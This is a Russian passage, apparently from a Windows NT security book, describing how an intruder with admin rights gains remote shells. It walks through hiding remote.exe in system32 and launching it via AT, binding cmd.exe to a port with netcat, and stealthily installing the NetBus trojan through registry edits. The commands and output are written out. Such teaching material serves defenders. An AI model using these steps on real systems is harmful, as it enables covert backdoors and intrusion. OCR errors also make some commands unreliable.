Мы не раз отмечали, что в системе NT недостаточно хорошо обстоят дела с удаленным выполнением команд, однако до этого момента картина освещалась несколько однобоко. Дело в том, что после получения статуса администратора у взломщика появляется целый ряд возможностей выполнения таких операций.
Утилита remote.exe (NTRK)
В состав NTRK входят две утилиты, обеспечивающие удаленное выполнение команд: Remote Command Line (remote.exe) и Remote Command Service (rcmd.exe и rcmdsvc.exe, клиент и сервер соответственно). Эти утилиты включены лишь в серверный вариант NTRK.
Из них большую угрозу представляет утилита remote.exe, поскольку ее легче установить и она более проста в использовании. Сложность применения rcmdsvc. exe в основном объясняется тем, что ее нужно установить и запустить на удаленном компьютере как службу, тогда как remote.exe не нуждается в дополнительных средствах и может работать как в режиме сервера, так и в режиме клиента. Нужный режим легко задать с помощью параметра командной строки (remote.exe /С— для клиента, remote.вхв /S —- для сервера). Однако с утилитой remote.exe возникает другая проблема из разряда "Что было раньше — курица или яйцо?" Дело в том, что для ее запуска на удаленном компьютере в качестве сервера сначала необходимо, чтобы на этом компьютере было разрешено удаленное выполнение команд. Эта проблема решается только при наличии доступа в качестве администратора, с использованием службы Schedule системы NT, также известной как команда AT (которая доступна только администраторам).
Для начала нужно скопировать файл remote. exe в каталог удаленной системы, в котором разрешено выполнение программ. Проще всего это сделать, подключившись к совместно используемому системному ресурсу с$ в качестве администратора и скопировать указанный файл в каталог %systemroot%\system32. При этом утилита, с одной стороны, будет находиться в каталоге, в котором Windows по умолчанию производит поиск выполняемых файлов, а с другой — ее будет трудно случайно обнаружить среди множества разных системных файлов.
Затем необходимо запустить скопированную утилиту remote. exe с помощью команды AT. Однако, прежде чем это сделать, нужно провести подготовительную работу. Во-первых, на удаленной системе должна быть запушена служба Schedule. С этой задачей может справиться еще одна прекрасная утилита Service Controller (sc.exe) из набора NTRK. После этого с помощью команды net time необходимо сверить часы локальной системы с часами удаленной, как показано ниже.
С:\> ас \\192.168.202.44 start schedule
SERVICE_NAME: schedule
TYPE 10 WIN32_OWN_PROCESS
STATE 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE 0 (0x0)
SERVICE_EXIT_CODE 0 (0x0)
CHECKPOINT 0x0
WAIT_HINT OxVdO
C:\> net time \\192.168.202.44
Current time at \\192.168.202.44 is 5/29/99 10:38 PM
The command completed successfully.
Для запуска команд в течение нескольких секунд можно использовать утилиту soon из набора NTRK.
Теперь можно воспользоваться командой AT и запустить экземпляр remote. exe в серверном варианте, запланировав запуск через две минуты от текущего времени взламываемого компьютера (для использования в команде пробелов ее необходимо заключить в двойные кавычки). С помощью второй команды, как показано ниже, можно убедиться, что задание было запланировано корректно (для исправления ошибок воспользуйтесь первой командой AT с параметром [номер задания] /delete).
С:\> at \\192.168.202.44 10:40Р ""remote /s cmd
secret""
Added a new job with job ID = 2
C:\> at \\192.168.202.44
Status ID Day Time Command Line
2 Today 10:40 PM remote /s cmd secret
Когда наступает момент выполнения запланированной команды, соответствующий номер задания исчезает из листинга, выводимого командой AT. Если команда была введена корректно, это означает, что сервер remote заработал. Теперь взломщик имеет доступ к командной строке удаленной системы с помощью клиентского режима команды remote. Во избежание путаницы мы используем в примере для локальной системы приглашение D:>, а для удаленной — С:>. В данном примере используется команда DIR для просмотра каталога удаленной системы, а затем с помощью команды @Q завершается работа клиента, а сервер продолжает работать (команда @к завершает работу сервера).
D:\> remote /с 192.168.202.44 secret
*****************************
*********** remote **********
*********** CLIENT **********
*****************************
Connected..
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1998 Microsoft Corp.
C:\> dir winnt\repair\sam._
dir winnt\repair\sam._ Volume in drive С has no label.
Volume Serial Number is D837-926F
Directory of C:\winnt\repair
05/29/99 04:43p 10,406 sam.
_1 File(s) 10,406 bytes
1,243,873,280 bytes free
C:\> @q
*** SESSION OVER ***
D:\>
Да, пожалуй, вряд ли ребята из Microsoft могли придумать что-то еше более простое для хакера средней руки! Теперь мы можем запускать файлы на удаленной системе, хотя только из командной строки. Еше одним ограничением утилиты remote.exe является то, что программы, использующие консольный программный интерфейс Win32, также работать не будут. Однако в любом случае это лучше, чем вообще отсутствие возможности удаленного запуска. Как мы вскоре увидим, с ее помощью на удаленной системе можно установить более мощные средства управления.
Наконец, необходимо отметить еще одно важное свойство утилиты remote.exe, которое заключается в поддержке именованных каналов. Она будет работать на любых двух узлах, поддерживающих один и тот же протокол — IPX, TCP/IP либо NetBEUI.
Удаленный доступ к командной оболочке с помощью netcat
Еще одним простым способом организации "потайного хода" является применение "армейского швейцарского ножа TCP/IP"— утилиты netcat (http://www.ldpht. com/netcat). Утилиту netcat можно настроить на прослушивание определенного порта с последующим запуском исполняемой программы, если удаленная система подключается к данному порту. Настроив утилиту netcat на запуск интерпретатора командной строки NT, можно сделать так, чтобы этот интерпретатор запустился на удаленной системе. Синтаксис для запуска команды netcat в режиме скрытого прослушивания приведен в следующем примере. Параметр -L позволяет восстанавливать разорванное соединение; -d активизирует режим скрытого прослушивания (т.е. без обмена информацией с консолью); -е позволяет задать запускаемую программу (в данном случае — интерпретатор командой строки NT cmd. exe); а -р указывает порт, который будет прослушиваться. С:\TEMP\NC1lNT>nc -L -d -e and.exe -p 8080
Теперь любой злоумышленник, подключившийся к порту 8080, сможет на удаленном компьютере запустить интерпретатор командной строки. В следующем примере показано, как, подключившись к вышеуказанному порту рассматриваемого узла (192.168.202.44), получить удаленный доступ к интерпретатору командной строки. Для того чтобы устранить путаницу, мы снова используем в локальной системе приглашение D: \>, а в удаленной — С: \TEMP\NC11NТ>.
D:\> nc 192.168.202.44 8080
Microsoft(R) Windows NT(TM)
(С) Copyright 1985-1996 Microsoft Corp.
С:\TEMP\NC11NT>
С:\TEMP\NC1lNT>ipconfig
ipconfig
Windows NT IP Configuration Ethernet adapter FEM5561:
IP Address. ........: 192.168.202.44
Subnet Mask ........: 255.255.255.0
Default Gateway ......: C:\TEMP\NCllNT>exit
D:\>
Таким образом, теперь удаленный пользователь может выполнять команды и запускать программы. Теперь судьба удаленного компьютера целиком и полностью зависит лишь от фантазии взломщика.
NetBus
Невозможно, рассказывая о безопасности NT, умолчать о NetBus — "старшей сестре" широко известной утилиты Back Orifice (ВО) для Win 9x, разработанной группой хакеров "Культ мертвой коровы" (cDc — Cult of the Dead Cow). Она предназначена для удаленного управления и хакинга. Главное различие между NetBus и ВО состоит в том, что первая работает как на платформе Windows NT, так и в Win 9x (правда, последние версии ВО также работают в NT — подробнее см. в следующем разделе "Back Orifice 2000"). Первая версия утилиты, разработанной Карлом-Фриде-риком Нейктером (Carl-Fredrik Neikter), распространялась бесплатно, но в начале 1999 года появившаяся версия 2.0 вышла уже в варианте NetBus Pro, который распространяется узлом http://www.netbus.org по цене $15. В новой версии были устранены многие проблемы NetBus, такие как необходимость физического доступа для ее использования в режиме скрытой работы, а также несовместимость с некоторыми средствами доставки "троянских коней". Однако "взломанные" версии утилиты, имеющиеся на хакерских узлах в Internet, не поддерживают данных возможностей. Таким образом, в Internet можно найти лишь недостаточно надежные версии NetBus (последняя версия, выпущенная перед выходом NetBus Pro, имела номер 1.7). Учитывая, сколько новых возможностей реализовано в профессиональной версии, мы не будем тратить время на описание методов использования предыдущих версий.
NetBus — это приложение, созданное на базе архитектуры клиент/сервер. Сервер называется NBSVR.EXE, однако его, конечно же, можно переименовать, присвоив ему другое имя. Для того чтобы клиент мог установить соединение с удаленной системой, на ней сначала должен быть запущен сервер. Хотя ничто не препятствует установке NetBus без привилегий администратора путем использования вложения почтового сообщения или какой-нибудь другой уловки, вероятность успеха такого метода будет низкой, если системный администратор предпринял соответствующие меры защиты (иными словами — никогда не запускайте файлов, присланных по электронной почте или каким-либо другим способом неизвестными вам лицами). Поэтому мы будем рассматривать утилиту NetBus в контексте ситуации, когда она скрытно установлена взломщиком, обладающим привилегиями администратора.
Первое, что должен сделать злоумышленник, — скопировать NBSRV.EXE в каталог %systemroot%\system32. Кроме того, необходимо настроить NetBus для запуска в скрытом режиме. Обычно этот режим активизируется с помощью графического пользовательского интерфейса, однако поскольку при удаленном доступе графический интерфейс использовать невозможно, для внесения соответствующих изменений в системный реестр придется воспользоваться средством редактирования системного реестра regini . exe, входящим в состав NTRK.
Для внесения изменений в системный реестр утилита regini в качестве входных данных должна получить соответствующий текстовый файл. Поэтому сначала нужно создать такой файл (в данном примере мы назовем его NETBUS.TXT) и поместить в него параметры, которые необходимо внести в системный реестр. Самый простой метод создания такого файла заключается в получении его с помощью локальной установки NetBus Pro 2.01 и утилиты regdmp из набора NTRK. В приведенном ниже примере листинг, сгенерированный утилитой regini в процессе внесения изменений в системный реестр удаленной системы, отображает перечень параметров, которые должны присутствовать в файле NETBUS.TXT.
D:\temp>regini -m \\192.168.202.44 netbus.txt
HKEY_LOCAL_MACHINE\SOFTWARE\Net SolutionsXNetBus Server
General
Accept = 1
TCPPort = 80
Visibility = 3
AccessMode = 2
AutoStart = 1
Protection
Password = impossible
Данные параметры управляют основными функциями утилиты NetBus. Самыми важными из них являются следующие: General\TCPPort, который настраивает сервер NBSVR на прослушивание порта 80 (это лишь рекомендация, так как порт HTTP, скорее всего, не будет отфильтровываться маршрутизатором); visibility =3, значение, задающее режим скрытой работы; AutoStart = 1, включающее режим автоматического запуска серверной части NBSVR при загрузке Windows (при этом автоматически создается дополнительный параметр реестра в группе HKLM\SOFTWARE\ Microsoft\Windows\CurrentVersion\RunServices, содержащий значение с типом REG_SZ вида С:\WINNT\SYSTEM32\NBSvr.EXE).
После того как системный реестр отредактирован, можно запустить NBSRV.EXE из командной строки удаленной системы, а затем запустить клиентскую часть на локальной системе и подключиться к находящемуся в состоянии ожидания серверу. На следующем рисунке показан графический пользовательский интерфейс NetBus, в меню которого выбрана команда Reboot, с помощью которой на удаленной системе можно, выполнить один их самых "жестоких" трюков — перезагрузку.


